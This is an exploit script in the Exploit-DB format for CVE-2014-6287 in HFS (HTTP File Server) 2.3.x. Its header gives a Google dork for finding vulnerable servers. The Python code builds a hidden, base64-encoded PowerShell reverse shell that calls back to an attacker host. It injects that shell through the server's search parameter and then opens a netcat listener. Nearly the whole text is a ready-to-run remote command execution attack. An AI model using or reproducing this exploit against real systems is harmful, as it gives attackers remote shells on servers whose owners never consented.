HFS (HTTP File Server) 2.3.x - Remote Command Execution

# Exploit Title: HFS (HTTP File Server) 2.3.x - Remote Command Execution (3)
# Google Dork: intext:"httpfileserver 2.3"
# Date: 20/02/2021
# Exploit Author: Pergyz
# Vendor Homepage: http://www.rejetto.com/hfs/
# Software Link: https://sourceforge.net/projects/hfs/
# Version: 2.3.x
# Tested on: Microsoft Windows Server 2012 R2 Standard
# CVE : CVE-2014-6287
# Reference: https://www.rejetto.com/wiki/index.php/HFS:_scripting_commands

#!/usr/bin/python3

import base64
import os
import urllib.request
import urllib.parse

lhost = "10.10.10.1"
lport = 1111
rhost = "10.10.10.8"
rport = 80

# Define the command to be written to a file
command = f'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (Invoke-Expression $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()'

# Encode the command in base64 format
encoded_command = base64.b64encode(command.encode("utf-16le")).decode()
print("\nEncoded the command in base64 format...")

# Define the payload to be included in the URL
payload = f'exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {encoded_command}'

# Encode the payload and send a HTTP GET request
encoded_payload = urllib.parse.quote_plus(payload)
url = f'http://{rhost}:{rport}/?search=%00{{.{encoded_payload}.}}'
urllib.request.urlopen(url)
print("\nEncoded the payload and sent a HTTP GET request to the target...")

# Print some information
print("\nPrinting some information for debugging...")
print("lhost: ", lhost)
print("lport: ", lport)
print("rhost: ", rhost)
print("rport: ", rport)
print("payload: ", payload)

# Listen for connections
print("\nListening for connection...")
os.system(f'nc -nlvp {lport}')